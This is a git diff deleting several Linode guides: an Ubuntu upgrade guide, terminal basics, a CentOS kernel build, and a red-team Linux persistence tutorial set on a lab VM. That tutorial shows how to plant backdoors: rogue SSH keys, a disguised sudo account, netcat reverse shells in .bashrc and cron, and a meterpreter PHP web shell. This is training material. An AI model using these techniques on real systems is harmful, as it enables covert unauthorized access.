fossa"] -tags: ["security","ubuntu"] -license: '[CC BY-ND 4.0](https://creativecommons.org/licenses/by-nd/4.0)' -relations: - platform: - key: how-to-upgrade-ubuntu - keywords: - - distribution: Ubuntu 20.04 -aliases: ['/security/upgrading/upgrade-to-ubuntu-20-04/'] ---- - -Ubuntu 20.04 is a Long-Term Support (LTS) release that is supported by Canonical until April 2025. Use this guide to upgrade your Linode from Ubuntu 18.04 (Bionic Beaver) or Ubuntu 19.10 (Eoan Ermine) to Ubuntu 20.04 (Focal Fossa). -{{< note type="alert" >}} -Inline distribution upgrades can yield unpredictable results. Before continuing, read through [Upgrading to the Latest Distribution (Clean Install)](/cloud/guides/manually-upgrading-to-latest-distribution-version/) guide to learn more about your upgrade options. This guide also provides instructions to perform a clean install of the latest distribution version. - -The upgrade may be incomplete or your system may be corrupted if your internet connection is interrupted. Use [Lish](https://techdocs.akamai.com/cloud-computing/docs/access-your-system-console-using-lish) or [Glish](https://techdocs.akamai.com/cloud-computing/docs/access-your-desktop-environment-using-glish) to perform this upgrade in a stable environment that does not rely on an active internet connection to your Linode. - -{{< /note >}} - -## Prepare to Upgrade to Ubuntu 20.04 - -The steps required in this guide require root privileges. Be sure to run the steps below as **root** or with the `sudo` prefix. For more information on privileges see our [Users and Groups](/cloud/guides/linux-users-and-groups) guide. - -In order to prepare your Linode for upgrade, the following steps guide you to: - -1. Install updates for Ubuntu 18.04. - -2. Backup your data. - -3. Ensure that the kernel version you're using is the latest. - -4. Stop non-critical services. - -5. Start a LISH session to ensure that the installation is not interrupted. - -### Install Available Updates - -Update package lists and install all updates: - - apt update && apt upgrade - -### Back Up Your Linode - -It's a good idea to back up your Linode before performing a major upgrade. That way, you can restore from backup if anything goes wrong during the upgrade process. If you subscribe to the [Linode Backup Service](https://techdocs.akamai.com/cloud-computing/docs/backup-service), we recommend that you [take a manual snapshot](https://techdocs.akamai.com/cloud-computing/docs/take-a-manual-snapshot) before upgrading to Ubuntu 20.04 LTS. If you use another backup service or application, we recommend that you make a manual backup before continuing. - -### Check Your Kernel - -Verify that your Linode is using the latest supported kernel. See [Apply Kernel Updates](https://techdocs.akamai.com/cloud-computing/docs/monitor-and-maintain-a-compute-instance#apply-kernel-updates) for more information. - -### Stop Services - -We recommend that you stop as many services as possible before upgrading to Ubuntu 20.04 LTS. This includes web server daemons (Apache and NGINX), database servers (PostgreSQL and MySQL), and any other non-critical services. - -1. Get a list of services currently running on your system: - - systemctl | grep running - -2. To stop a service, enter the following command, replacing `apache2` with the name of the service you want to stop: - - systemctl stop apache2 - -You are now ready to install Ubuntu 20.04 LTS on your Linode. - -## Upgrade from Ubuntu 18.04 LTS to Ubuntu 20.04 LTS - -Remember to perform these steps in a Lish or Glish session: - -1. Install the `update-manager-core` package: - - apt install update-manager-core - -2. Open `/etc/update-manager/release-upgrades` and verify that the `Prompt` value is set to `lts` on Ubuntu 18.04 or `normal` on Ubuntu 19.10: - - {{< file "/etc/update-manager/release-upgrades" >}} -# Default behavior for the release upgrader. - -[DEFAULT] -# Default prompting behavior, valid options: -# -# never - Never check for a new release. -# normal - Check to see if a new release is available. If more than one new -# release is found, the release upgrader will attempt to upgrade to -# the release that immediately succeeds the currently-running -# release. -# lts - Check to see if a new LTS release is available. The upgrader -# will attempt to upgrade to the first LTS release available after -# the currently-running one. Note that this option should not be -# used if the currently-running release is not itself an LTS -# release, since in that case the upgrader won't be able to -# determine if a newer release is available. -Prompt=lts - -{{< /file >}} - -1. You're now ready to begin the upgrade to Ubuntu 20.04 LTS. - - do-release-upgrade - - Follow the on-screen instructions to complete the installation process. - -2. Because Linode offers internal package mirrors for Ubuntu, you may see some combination of the following messages: - - * **No valid mirror found** - - {{< output >}} -While scanning your repository information no mirror entry for the -upgrade was found. This can happen if you run an internal mirror or -if the mirror information is out of date. - -Do you want to rewrite your 'sources.list' file anyway? If you choose -'Yes' here it will update all 'trusty' to 'xenial' entries. -If you select 'No' the upgrade will cancel. - -Continue [yN] -{{< /output >}} - - Type `y` and **Enter** to continue. - - * **Packages no longer supported** - - {{< output >}} -3 installed packages are no longer supported by Canonical. You can -still get support from the community. - -2 packages are going to be removed. 91 new packages are going to be -installed. 346 packages are going to be upgraded. - -You have to download a total of 239 M. This download will take about -30 minutes with a 1Mbit DSL connection and about 9 hours with a 56k -modem. - -Fetching and installing the upgrade can take several hours. Once the -download has finished, the process cannot be canceled. - - Continue [yN] Details [d] -{{< /output >}} - - Press `d` for more details (then `q` to exit the details), or `y` to continue. - - * **Configuring openssh-server**: Press enter to choose `keep the local version currently installed`. - - ![Configuring openssh-server message](openssh-server-message.png) - - * **Remove obsolete packages?**: Enter `y` - -5. The upgrade requires a reboot. Enter `y` to continue: - - {{< output >}} -System upgrade is complete. - -Restart required - -To finish the upgrade, a restart is required. -If you select 'y' the system will be restarted. - -Continue [yN] -{{< /output >}} - -6. Once the system has rebooted, verify that it's running Ubuntu 20.04: - - lsb_release -a - -7. You should see output that resembles the following: - - {{< output >}} -No LSB modules are available. -Distributor ID: Ubuntu -Description: Ubuntu 20.04.3 LTS -Release: 20.04 -Codename: focal -{{< /output >}} - -Your Linode is now running Ubuntu 20.04 LTS. - -## Networking - -[Netplan](https://netplan.io/) is used to configure networking in Ubuntu 20.04 and later. Ubuntu Server is packaged with `systemd-networkd` as the [backend](https://netplan.io/design#design-overview) for Netplan, while NetworkManager is used as the Netplan backend in Ubuntu Desktop. The `ifupdown` package has been deprecated, and `/etc/network/interfaces` is no longer used, but it's still possible to configure static networking with `/etc/systemd/network/*.network` files. - -Once you have upgraded to Ubuntu 20.04 or later from an earlier version, you should run the following command to enable `systemd-networkd`: - - systemctl enable systemd-networkd - -## Upgrading from Previous Ubuntu Releases - -If your Linode is running Ubuntu older than 18.04 LTS, use the upgrade guides in the [Upgrading section](/cloud/guides/security/upgrading) to upgrade to Ubuntu 18.04 LTS. You may then upgrade your Linode to Ubuntu 20.04 LTS. diff --git a/docs/guides/security/vulnerabilities/linux-red-team-persistence-techniques/index.md b/docs/guides/security/vulnerabilities/linux-red-team-persistence-techniques/index.md deleted file mode 100644 index 7f9b0bd976d..00000000000 --- a/docs/guides/security/vulnerabilities/linux-red-team-persistence-techniques/index.md +++ /dev/null @@ -1,255 +0,0 @@ ---- -slug: linux-red-team-persistence-techniques -title: "Linux Red Team Persistence Techniques" -description: 'This guide covers the process of setting up and maintaining persistent access on Linux targets.' -authors: ["HackerSploit"] -contributors: ["HackerSploit"] -published: 2021-11-03 -keywords: ['security'] -tags: ['security'] -license: '[CC BY-ND 4.0](https://creativecommons.org/licenses/by-nd/4.0)' ---- - -{{% content "hackersploit-red-team-series-note-shortguide" %}} - -{{% content "hackersploit-note-shortguide" %}} - -{{% content "hackersploit-caution-shortguide" %}} - -## Before You Begin - -In order to follow along with the tools and techniques utilized in this document, you will need to use one of the following offensive Linux distributions: - -- Kali Linux - -- Parrot OS - -The demonstrations outlined in this document were performed against a vulnerable Linux VM that has been configured to teach you the process of exploitation and privilege escalation. It can be downloaded here: https://www.vulnhub.com/entry/raven-1,256/ - -The following is a list of recommended technical prerequisites that you will need in order to get the most out of this course: - -- Familiarity with Linux system administration. - -- Familiarity with Windows. - -- Functional knowledge of TCP/IP. - -- Familiarity with penetration testing concepts and life-cycle. - -Note: The techniques and tools utilized in this document were performed on Kali Linux 2021.2 Virtual Machine - -## MITRE ATT&CK Persistence Techniques - -Persistence consists of techniques that adversaries use to keep access to systems across restarts, changed credentials, and other interruptions that could cut off their access. Techniques used for persistence include any access, action, or configuration changes that let them maintain their foothold on systems, such as replacing or hijacking legitimate code or adding startup code. - -Gaining an initial foothold is not enough, you need to set up and maintain persistent access to your targets. - -![MITRE ATT&CK persistence techniques](mitre-attack-persistence-techniques.png "MITRE ATT&CK persistence techniques") - -The techniques outlined under the Persistence tactic provide us with a clear and methodical way of obtaining establishing persistence on the target system. - -The following is a list of key techniques and sub techniques that we will be exploring: - -- Account Manipulation - - - Persistence via SSH Keys - -- Creating a privileged local account - -- Unix shell configuration modification - - - Backdooring the .bashrc file - -- Web Shell/Backdoor - -- Cron jobs - -## Scenario - -Our objective is to establish persistence on the Linux target after we have obtained an initial foothold. - -Note: Some persistence techniques will require “root” privileges in order to be executed successfully. - -## Persistence via SSH Keys - -The first persistence technique we will be exploiting is the process of generating and using SSH key-based authentication as opposed to password-based authentication. This persistence technique will help maintain access to the target system if the user account passwords have been changed, as this is quite a common practice in companies that have password security policies in place. - -Note: This technique requires Public Key Authentication to be enabled in the SSH configuration file, more information see [SSH add keys](/cloud/guides/use-public-key-authentication-with-ssh/) - -In order to perform this technique, you need to have obtained initial access to the target system and you will require “root” privileges if you wish to modify the SSH configuration file. - -1. The first step will involve generating the SSH key-pair, this will need to be done on your Kali VM as this is the system we will be using for authentication via SSH. This can be done by running the following command: - - ssh-keygen - -1. As highlighted in the following screenshot, this will prompt you to specify the storage location for the public and private keys that will be generated, as well as a passphrase for the SSH key. In this case, we will use the default options. - - ![ssh-keygen output](ssh-keygen-output.png "ssh-keygen output") - -1. After generating the public and private key pair, you will need to copy the content of the public key (id_rsa.pub) you generated and add it to the `authorized_keys` file in the target user account’s .ssh directory on the target system. In this case, we will be adding the public key to the `authorized_keys` file of the “root” user located in `/root/.ssh/authorized_keys`. - - Note: If the .ssh directory and `authorized_keys` file don’t exist, you will need to create them, this can be done by running the following commands: - - mkdir ~/.ssh - - touch ~/.ssh/authorized_keys - -1. After pasting in the contents of the public key you generated into the `authorized_keys` file, it should look similar to the screenshot shown below. - - ![Contents of the authorized keys file](authorized-keys-contents.png) - -1. It is also recommended to apply the necessary permissions to the .ssh directory and `authorized_keys` file, this can be done by running the following commands: - - chmod 700 /root/.ssh - chmod 600 /root/.ssh/authorized_keys - -1. As shown in the following screenshot, after adding the public key you generated, you will now be able to authenticate to the target via SSH without providing a password. - - ![Raven VM - successful SSH public key authentication](raven-vm-successful-ssh-public-key-authentication.png "Raven VM - successful SSH public key authentication") - - We have now been able to successfully set up persistent access via SSH keys and consequently mitigating any future authentication failures caused by changed passwords. - -## Creating A Privileged Local Account - -The next persistence technique we will be exploring is the process of creating a privileged local account for backdoor access, this technique can be used to maintain access to a target system if a user account password is changed, however, creating a local user account may lead to detection on servers that have fewer user and service accounts as a new user will easily be noticed. - -In order to evade detection, we will create a user account with a name that is clandestine, in this case, we will be creating a user account named “ftp” in order to blend in as a service account. - -Note: You will require “root” privileges in order to create a new user account on Linux systems. - -1. We can create the user account on the target by running the following command: - - useradd -m -s /bin/bash ftp - -1. After creating the account, we will need to add the user to the “sudo” group, this will provide the user with administrative privileges, this can be done by running the following command: - - usermod -aG sudo ftp - -1. After adding the user account to the “sudo” group, we will need to setup a password for the account, this can be done by running the following command: - - passwd ftp - -1. After specifying the password, we can list out the contents of the /etc/passwd file to confirm that the user account has been added. - - ![/etc/password contents with ftp account](etc-password-contents-with-ftp-account.png "/etc/password contents with ftp account") - -1. You can now authenticate with the new user account via SSH password authentication, alternatively, you can also add the ssh public key we generated in the first section to the `authorized_keys` file in the user account’s home password. - -1. After authenticating with the server via SSH, we can confirm that the user account has administrative privileges by using the sudo command. - - ![sudo apt update command](sudo-apt-update-command.png "sudo apt update command") - - As shown in the preceding screenshot, the user account has administrative privileges and can run any command on the system without accessing or interacting with a “root” account. - - This account can be used for backdoor access whenever you want to avoid using the “root” account or any other legitimate user accounts on the target system and ensures that you have overt access to the target. - -## Unix Shell Configuration Modification - -This persistence technique will involve adding a bash reverse command that will connect back to our netcat listener in a user account’s .bashrc file. The .bashrc file is a config file that is used to customize bash and is executed when a user logs in with the bash shell. - -1. The first step will involve opening the .bashrc file with a text editor This can be done by running the following command: - - nano ~/.bashrc - -1. After opening the file with a text editor, we can add a simple bash command that will provide us with a reverse shell whenever a user logs in. This can be done by adding the following command: - - nc -e /bin/bash 2>/dev/null & - - As shown in the following screenshot, the command should contain your Kali IP and port netcat is listening on. - - ![bashrc file with netcat command](bashrc-file-with-netcat-command.png "bashrc file with netcat command") - -1. After adding the bash command to the .bashrc file, we can set up a listener with Netcat on Kali by running the following command: - - nc -nvlp - -1. Whenever a user logs in to the user account, the command in the .bashrc file will be executed and will consequently provide you with a reverse shell on the netcat listener as shown in the following screenshot. - - ![netcat listener receiving bashrc netcat connection](netcat-listener-receiving-bashrc-netcat-connection.png "netcat listener receiving bashrc netcat connection") - - We have now been able to set up persistence via the .bashrc file, this technique has the added advantage of being harder to detect as the reverse shell command is hidden within a legitimate configuration file. - -## Persistence Via Web Shell - -This persistence technique involves generating and uploading a PHP web shell to the target server. Given that the target server is running the LAMP stack, we can create a PHP meterpreter payload and upload it to the web server as a backdoor. - -1. The first step will involve generating the PHP meterpreter payload with Msfvenom, this can be done by running the following command: - - msfvenom -p php/meterpreter/reverse_tcp LHOST= LPORT= -e php/base64 -f raw > backup.php - - In order to evade detection, we will save the payload with a filename of “backup.php”. - -1. Once you have generated the payload, you will need to modify it by adding the PHP tags so that the script is executed correctly as shown in the following screenshot. - - ![backup.php exploit contents](backup-php-exploit-contents.png "backup.php exploit contents") - -1. We can now set up the listener with Metasploit by running the following commands: - - msfconsole - use multi/handler - set payload php/meterpreter/reverse_tcp - set LHOST - set LPORT - run - -1. The next step will involve uploading the PHP shell that we just generated to the web server, this can be done by setting up a local web server on the Kali VM: - - sudo python -m SimpleHTTPServer 80 - -1. Then, download it on the target: - - wget http:///backup.php - - In this case, we will be uploading the “backup.php” file to the root of the webserver under the /var/www/html directory as shown in the following screenshot. - - ![Raven VM - downloading backup.php with wget](raven-vm-downloading-backup-php-with-wget.png "Raven VM - downloading backup.php with wget") - -1. We can retrieve a meterpreter session on the target by navigating to the “backup.php” file on the webserver by accessing the following URL with your browser: - - http:///backup.php - -1. Accessing the through the browser should execute the PHP code and consequently provide you with a meterpreter session on your listener as shown in the following screenshot. - - ![meterpreter session after visiting backup.php exploit](meterpreter-session-after-visiting-backup-php-exploit.png "meterpreter session after visiting backup.php exploit") - - We have been able to successfully set up persistence by uploading a meterpreter web shell that allows us to maintain access to the target server without authenticating via SSH. - -## Persistence Via Cron Jobs - -This technique involves leveraging Cron jobs to maintain persistent access to the target system by executing a reverse shell command or a web shell repeatedly on a specified schedule. - -Cron is a time-based service that runs applications, scripts, and other commands repeatedly on a specified schedule. - -Cron provides you with the ability to run a program, script, or command periodically at whatever time you choose, these Cron jobs are then stored in the “crontab” file. - -1. We can add a cron job on the target system by editing the crontab file, this can be done by running the following command on the target system: - - crontab -e - -1. We can now add a new cron job that will execute a netcat command every minute, this can be done by adding the following line to the crontab file: - - * * * * * nc -e /bin/sh - - As shown in the following screenshot, this cron job will connect to a netcat listener every minute. - - ![crontab line with netcat command](crontab-line-with-netcat-command.png "crontab line with netcat command") - -1. After adding the cron job, you will need to save the file. - -1. We can now set up our netcat listener by running the following command on Kali: - - nc -nvlp - - After one minute, the cron job will be executed and you should receive a reverse shell on your netcat listener as shown in the following screenshot. - - ![netcat listener receiving crontab netcat connection](netcat-listener-receiving-crontab-netcat-connection.png "netcat listener receiving crontab netcat connection") - -1. Alternatively, instead of using netcat to obtain a reverse shell, we can create a cron job that executes the PHP meterpreter shell we created and uploaded in the previous section. This can be done by adding the following line to the crontab file: - - * * * * * php -f /var/www/html/backup.php - - As shown in the following screenshot, after one minute you should receive a meterpreter session. - - ![Meterpreter session after backup.php exploit executed from crontab](meterpreter-session-after-backup-php-exploit-executed-from-crontab.png "Meterpreter session after backup.php exploit executed from crontab") - - We have now been able to successfully setup persistence on the target server by creating a cron job that connects back to our listener, additionally, we were also able to setup a cron job that executes the PHP meterpreter shell we uploaded to the target server. diff --git a/docs/guides/tools-reference/basics/using-the-terminal/index.md b/docs/guides/tools-reference/basics/using-the-terminal/index.md deleted file mode 100644 index 6124b0b7b12..00000000000 --- a/docs/guides/tools-reference/basics/using-the-terminal/index.md +++ /dev/null @@ -1,215 +0,0 @@ ---- -slug: using-the-terminal -title: Using the Terminal -description: 'This guide shows how to access and use the command line interface, also known as the Shell, via a Terminal application like PuTTY to perform system admin tasks.' -authors: ["Linode"] -contributors: ["Linode"] -published: 2009-08-02 -modified: 2017-02-15 -keywords: ["Linux terminal", "terminal HOWTO", "Linode terminal tutorial"] -license: '[CC BY-ND 4.0](https://creativecommons.org/licenses/by-nd/4.0)' -aliases: ['/networking/ssh/using-the-terminal/','/tools-reference/tools/using-the-terminal/','/tools-reference/ssh/using-the-terminal/','/using-linux/using-the-terminal/'] -external_resources: - - '[Command Line at FLOSS Manuals](http://en.flossmanuals.net/gnulinux/index.php)' -tags: ["linux"] ---- - -The shell, also known as the "command line interface" or "CLI"", is the primary method for interacting with remote Linux servers. The shell is a rich interface for manipulating your files, managing your system, and scripting common tasks. If you use Linux on your local machine you are likely already familiar with the terminal; Mac OS X users may be familiar with the command line from Terminal.app. - -![Using the Terminal](using-the-terminal.png "Using the Terminal") - -This document provides an overview of common operations and actions in the terminal environment, with some helpful hints for making your terminal experience more successful and rewarding. When you open a terminal either locally or over SSH, you'll be greeted with a message and presented with a prompt. Depending on your system's configuration, the prompt will end with either a dollar sign (`$`) for regular users and a hash (`#`) for root. We're now ready to begin this guide. - -## The Structure of Commands - -Most shell commands follow a similar format. They begin with the name of the command (which we can think of as a verb), then have an optional series of modifiers or flags that specific particular functions (adjectives,) and (if necessary) have some sort of object that the command is to affect. If you need help figuring out how a command works, generally sending the command with a `--help` flag will provide information on how to use the command. - -## File System Navigation - -One of the primary functions of the shell is providing a interface to the file system. These commands allow us to move, rename, and copy files on our system. - -### Listing Directories - -To list directories use the `ls` command. If the directory is empty, ls will execute and close without any output. `ls` (like all commands) assumes that the object (directory) is the current directory unless otherwise specified. To get a list of the `/etc/init.d/` directory, you would use the command: - - ls /etc/init.d/ - -To list all of the files in the current directory, including hidden files (such as those beginning with a `.`) use the `-a` flag for all files. - -To generate a list with more information about the files, the long flag, `-l` may be used. This provides information on file sizes, permissions, and last modified times (with either -a or the standard output). You may further modify the long output with an -h flag to convert the file size information from raw bytes to human-readable numbers (in KB, MB, GB, etc) for easier comprehension. This command might look like: - - ls -lha - -### Navigating Directories - -You probably noticed in the output of `ls -a` and `ls -lha` directories named `.` and `..`. These "directories" represent the current (`.`) location and the parent (`..`) directories. You can use these shortcuts to specify relative paths, both in commands like `ls` and in other commands we have yet to discuss. To move your current location to a different directory we use the `cd` command (think "change directory"). To change to the `/etc/` directory use the following command: - - cd /etc/ - -You can also use various shortcuts to navigate the file system tree. If you're in your home directory (as a normal user, `~/`) to switch to the `/home` directory (where all user directories are stored) use the following command: - - cd ../ - -From the `/home` directory, using `cd ../` will get you to the top level of your file system (`/`). Similarly, if you were to use `cd ../jack/` from the `~/` directory, you would be placed in the `/home/jack` directory. - -Using `cd ./jack` in the `/home` directory, however, will also place you in the `/home/jack` directory, as the `.` indicates the working or current directory (use `pwd` to print the working directory in the terminal). - -The relative paths work to specify files and directories for all commands. - -### Creating and Removing Directories - -To create a new empty directory, use the make directory command `mkdir`, as in the following example which creates a new directory called `website/` underneath the current user's home directory (`~/`): - - mkdir ~/website/ - -If you need to create a new directory hierarchy, (a new directory within another new directory,) use the `-p` flag to make parent directories as needed. For example: - - mkdir -p ~/website/litchfield/public_www/ - -This would create the `public_www/` directory, inside of the `litchfield/` directory, inside of the `website/` directory in the current user's home directory, even if these directories didn't exist before the command was issued. - -To remove directories, use the `rmdir` command. Be aware that this only works if the directory specified is empty. - -### Creating and Removing files - -If you want to create a file without writing any content to it you can use the `touch` command. You can also safely use `touch` on existing files, which resets the "last edited" value of touched files to the time when the command was issued. - -To remove files use the `rm` command. Note that the `rm` command is permanent and *cannot* be undone. If you want to remove a directory that is non-empty use the `rm -r` command. - -### Copying Files - -To copy files use the `cp` command, followed by the original file and the location where you want to copy the file to. To copy your `/etc/hosts` file to your home directory in a file named `etc.hosts.backup` you would use the following command: - - cp /etc/hosts ~/etc.hosts.backup - -*Note:* The current user's home directory is abbreviated by the system as `~/`. - -By default, `cp` will not copy directories and contents of directories, if you need to copy contents of a directory into another directory, you need to use the -R flag (case sensitive; for recursive). To copy the contents of `~/website-files/` to `~/website-backups/` : - - cp -R ~/website-files/* ~/website-backups/ - -### Renaming and Moving Files and Directories - -The `mv` command handles all moving and renaming operations on files and directories. Its syntax is the same as `cp` (though directory moves are recursive by nature). Therefore, to move `~/etc.hosts.backup` to `~/backups/etc.hosts` use the following command: - - mv ~/etc.hosts.backup ~/backup/etc.hosts - -## Text Manipulation - -Linux, like all UNIX-derived systems uses text files to manage configuration and content. As a result the terminal provides many tools for editing and manipulating text and text files. - -### Nano Text Editor - -If you just need a basic text editor, try the `nano` editor, which comes installed by default on nearly every Linux distribution. Run the command `nano` to open a blank file for editing, or you can specify a file name in the current directly like: - - nano my-new-file-in-nano.txt - -You can specify a file in another directory; to edit `/var/www/index.html` use the following command: - - nano /var/www/index.html - -Using nano is fairly straightforward once you have a file open,. Available commands are listed at the bottom of the terminal window. `^X` (Control-X) exits nano, for example. - -### Redirecting Streams - -When you run a command on the terminal its output is generally printed for you before a new prompt. While this is often the preferred behavior sometimes a directory listing is too long, or not sorted correctly by default. The shell lets us direct the output from one command to another until we have output that is useful to us. We will take a complex command and then break it down into more useful parts: - - ls /usr/bin/ | grep ^py.* > ~/python-bins.txt - -This command: - -1. Generates a list of the files in `/usr/bin/` (with the `ls /usr/bin/` command.) -2. Sends the output of `ls` to the `grep` command (with the `|` or "pipe" operator.) -3. Searches the output of `ls` with `grep`, which looks for all files that begin with the letters `py` (a common prefix for programs written in the Python programming language.) -4. Sends the output of `grep` to a file located in the current user's home directory (`~/`) named `python-bins.txt` (with the `>` operator.) - -If the file specified at the end of the `>` operator has contents, `>` will overwrite that content. To append the output of a command to the end of an existing file use the append operator, which is `>>`. - -### Searching Text - -In the above example we searched a stream with the `grep` tool, which provides a very powerful interface for searching and filtering the contents of text streams and files. For example to "grep" the contents of the `/etc/hosts` file for "127.0.0.1" use the following command: - - grep "127.0.0.1" /etc/hosts - -Note that `grep` expects the search "patterns" to be basic regular expression (a pattern matching syntax). `grep` is a very powerful and its full is beyond the scope of this document. Please refer to the manual page for more information (enter `man grep`.) - -### The Echo Command - -The `echo` command is useful for repeating stated contents directly. This doesn't see much use as a simple command, but is useful in scripts and when combined with streams. For example: - - echo "Get Milk and Yogurt" >> shopping-list.txt - -This command appends the string "Get Milk and Yogurt" to the end of the `shopping-list.txt` file. - -You can also embed commands in echo statements, as in the following command: - - echo "I received a call on `date`" >> phone-log.txt - -This will append `I received a call on Fri Jan 22 12:04:23 EST 2010` to the end of the `phone-log.txt` file. `date` will output the current date and time, and the output format of this command is controlled by the system's locale settings. - -### Viewing Text in a Pager - -There are a number of "pager" applications which you might find useful. Pagers take input from a file, and provide a mechanism to scroll, search, and review content without flooding your terminal with output. The most common pagers are `more` and `less`. You can open your `~/.bashrc` file in `less`, for example, with the following command: - - less ~/.bashrc - -There's also a `cat` command that reads the content of a file onto standard output line for line. It may also be used to send the contents of a file to a command that doesn't provide an option to read directly from files. Additionally, the command `tac` sends the contents of a file to standard output (your screen by default) in reverse. - -## System Monitoring - -The terminal can also be useful for monitoring the current status of your server, and there are a number of default and optional applications which can help you monitor your system load. - -The command `ps` lists active processes by Process ID (PID) numbers. You can use the `ps -A` command (including the "-A" flag) to list all currently running processes, including inactive processes. - -The `top` command, which is installed by default on all systems, provides a regularly refreshed list of processes and resource utilization information. You may also wish to consider installing the `htop` application (with your system's [package management](/cloud/guides/linux-package-management-overview/) tool), which provides more coherent output. - -The `df` command, which is native to all systems, provides a metric of your current disk usage including free and unused space. You can use the `df -h` command (including the "-h" flag) to list your current space in megabytes and gigabytes, which is easier to read than flat kilobytes. You can also use the command `df -i` to view the number of iNodes your disk has used and remain available. An iNode is how the filesystem keeps track of files, and is directly related to the number of files that can be created. - -The `du` command, also native to all systems, checks which directories are using the most space. There are a number of useful flags which you can use with this command, the first of which the `du -h` command will show the disk usage of every file in your current directory and as a whole in megabytes. Another especially useful flag, "--max-depth", allows you to specify how many directories deep the command should iterate through. For example, to obtain a list of the biggest directories which are contained in your filesystem you would use the command `du -h --max-depth 1 /`. - -You may also wish to consider installing the `ncdu` application (with your system's [package management](/cloud/guides/linux-package-management-overview/) tool), which provides the file size using a curses-based file browser. - -For more information about monitoring the internals of your Linode, you can refer to the [System Diagnostics](/cloud/guides/linux-system-administration-basics/#system-diagnostics) guide. - -## The Terminal Environment - -The above guide covers only the smallest corner of even the "core" group of commands. We feel the best way to become accustomed to the terminal environment is to actually use the terminal. As you become more familiar and comfortable with the terminal, you will discover additional commands and functionality. - -If you can't remember an option or flag for a specific command, you can quickly find it by issuing the core command with the `--help` flag to get a quick overview of the syntax for that command. This section covers some basic functionality for the shell environment that is common on most contemporary UNIX systems: `bash`. - -### Tab Completion - -By default, `bash` provides tab completion for commands and executables in your `PATH` as well as for files and directories. Type the first few letters of a file name or command and then hit the "tab" key, and the shell will complete the command if it can. If there is more than one possible completion, `bash` will complete as many characters as it can; if there are still more than one possibility you can hit "tab" a second time, and `bash` will provide a list of possible completions. - -### GNU Screen - -This program may not be installed by default. It is a "terminal multiplexer" and is sometimes described as a "window manager" for the terminal. Start it with the command `screen` and after hitting return to dismiss the splash screen you will be brought to a terminal *inside* of screen. - -Now, if you issue Control-a Control-c (commonly notated `C-a C-c`;, you don't need to release the control in between depressing the a and c keys) you will now have two terminal sessions running inside of screen. You can use C-a C-a to toggle between your current screen session and your last visited screen session. Screen terminals are assigned a number on creation and you can access a specific one with `C-a #`. To access a list of commonly used screen key bindings send `C-a ?` - -The best part about screen sessions, however, is the fact that they are persistent beyond a single console session. This means you can connect to a remote server, start a screen session, issue a command that takes a while to execute, and the command will finish in screen even if you lose connectivity to the remote server. You may reconnect to the screen session with `screen -r`. - -If you're running more than one screen session, you can use `screen -ls` to generate a list of the current screen sessions. If you want to connect to an already connected screen session, use the `screen -x` command which is useful for screen sharing and remote collaboration. If you want to connect to a screen that is attached to another session, use the `screen -DRR` command. - -Screen is very powerful, and we encourage you to use it if you're having problems with connectivity to maintain a session without interruption. - -### Task Management - -The shell is capable of accepting more than one command at a time. If you append an ampersand (`&`) to the end of a command, the task is sent to the background, and you are provided with a prompt immediately. You can thus use the ampersand to string together a collection of commands to be issued all at once, while you work. Note that background tasks will still generate output, which might be confusing at first. - -If you append double ampersands (`&&`) to the end of a command, the shell will wait until the preceding command completes successfully before executing the next command. You can use this functionality to string together a series of commands that depend on the previous commands' success. - -### Command History - -`bash` saves a history of recently issued commands in a `~/.history/` file. You can access these commands with the arrow keys, or with `C-p` and `C-n` (Control-), if you need to go back and use or reuse a past command. - -### Emacs Key Bindings - -In general, the `bash` terminal provides emacs-like key bindings for navigation. In addition to `C-n` and `C-p` to access next and previous commands in the history the following key binding make it easier to navigate the text in the bash-terminal (`C-` refers to a Control- modifier, and `M-` refers to a "meta" or Alt- modifier): - -- `C-a` Cursor to the beginning of the line (`C-a a` in screen) -- `C-e` Cursor to the end of the line -- `C-f` Move cursor forward one character -- `C-b` Move cursor back one character -- `M-f` Move cursor forward one word -- `M-b` Move cursor back one word diff --git a/docs/guides/tools-reference/custom-kernels-distros/custom-compiled-kernel-centos-7/index.md b/docs/guides/tools-reference/custom-kernels-distros/custom-compiled-kernel-centos-7/index.md deleted file mode 100644 index be0eebfb59c..00000000000 --- a/docs/guides/tools-reference/custom-kernels-distros/custom-compiled-kernel-centos-7/index.md +++ /dev/null @@ -1,139 +0,0 @@ ---- -slug: custom-compiled-kernel-centos-7 -title: 'Custom Compiled Kernel on CentOS 7' -description: 'Instructions for compiling and configuring a custom kernel on your CentOS 7 Linode' -authors: ["Alex Fornuto"] -contributors: ["Alex Fornuto"] -published: 2016-08-02 -modified: 2017-08-01 -keywords: ["compile kernel", "kernel compiling", "custom linux kernel", "custom linode", "centos"] -tags: ["centos"] -license: '[CC BY-ND 4.0](https://creativecommons.org/licenses/by-nd/4.0)' -relations: - platform: - key: custom-compiled-kernel - keywords: - - distribution: CentOS 7 -aliases: ['/tools-reference/custom-kernels-distros/custom-compiled-kernel-centos-7/'] ---- - -![Custom Compiled Kernel on CentOS](custom-compiled-kernel-on-centos-7.png "Custom compiled kernel on CentOS") - -Running a custom-compiled Linux kernel is useful if you need to enable or disable certain kernel features that are not available in Linode-supplied or distribution-supplied kernels. For example, some users desire [SELinux](http://en.wikipedia.org/wiki/Security-Enhanced_Linux) support, which is not enabled in stock Linode kernels, and may not be enabled in some distribution-supplied kernels. - -If you'd rather run a distribution-supplied kernel instead, please follow our guide for [Running a Distribution-Supplied Kernel](https://techdocs.akamai.com/cloud-computing/docs/manage-the-kernel-on-a-compute-instance). - -Prior to these instructions, follow the steps outlined in our [Setting Up and Securing a Compute Instance](https://techdocs.akamai.com/cloud-computing/docs/set-up-and-secure-a-compute-instance). Then, log in to your Linode as the `root` user. - -## Prepare the System - -1. Update your package repositories and installed packages, install the development tools required for compiling a kernel, and install the `ncurses` library: - - yum update - yum install -y ncurses-devel make gcc bc openssl-devel grub2 - -2. Since some distributions install a pre-compiled kernel package into the `/boot/` directory along with their development package, avoid confusion later by removing any existing files there. **Warning**, this will delete everything within the `/boot/` directory _without_ asking for confirmation: - - rm -rf /boot/* - -## Compile and Install the Kernel - -### Download Kernel Sources - -1. Download the latest 4.x kernel sources from [kernel.org](http://kernel.org/). A conventional location to download to is `/usr/src/`. - - wget https://cdn.kernel.org/pub/linux/kernel/v4.x/linux-4.7.tar.xz - -2. Expand the archived file and change directories: - - tar -xvf linux-4.7.tar.xz - cd linux-4.7 - -### Configure the Kernel - -The kernel must be properly configured to run within the Linode environment. Some required configuration options may include: - - CONFIG_KVM_GUEST=y - CONFIG_VIRTIO_PCI=y - CONFIG_VIRTIO_PCI_LEGACY=y - 